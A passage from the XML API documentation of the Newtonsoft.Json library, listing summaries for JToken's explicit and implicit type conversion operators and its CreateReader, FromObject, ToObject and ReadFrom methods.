name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.SByte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTime\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Single}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Decimal\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Double\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Single\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.String\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte[]\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Guid\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Guid\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Guid}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.TimeSpan\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.TimeSpan}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Uri\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Uri\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Boolean)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTimeOffset)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Byte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.SByte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.SByte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Boolean})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTime})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTimeOffset})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Decimal})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Double})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTime)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Single})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Decimal)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Double)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Single)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.String)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.String\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte[])~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/>[] to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Uri)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Uri\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.TimeSpan)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.TimeSpan})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Guid)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Guid})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.CreateReader\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonReader\"/> for this token.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that can be used to read this token and its descendants.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when reading the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1(Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member 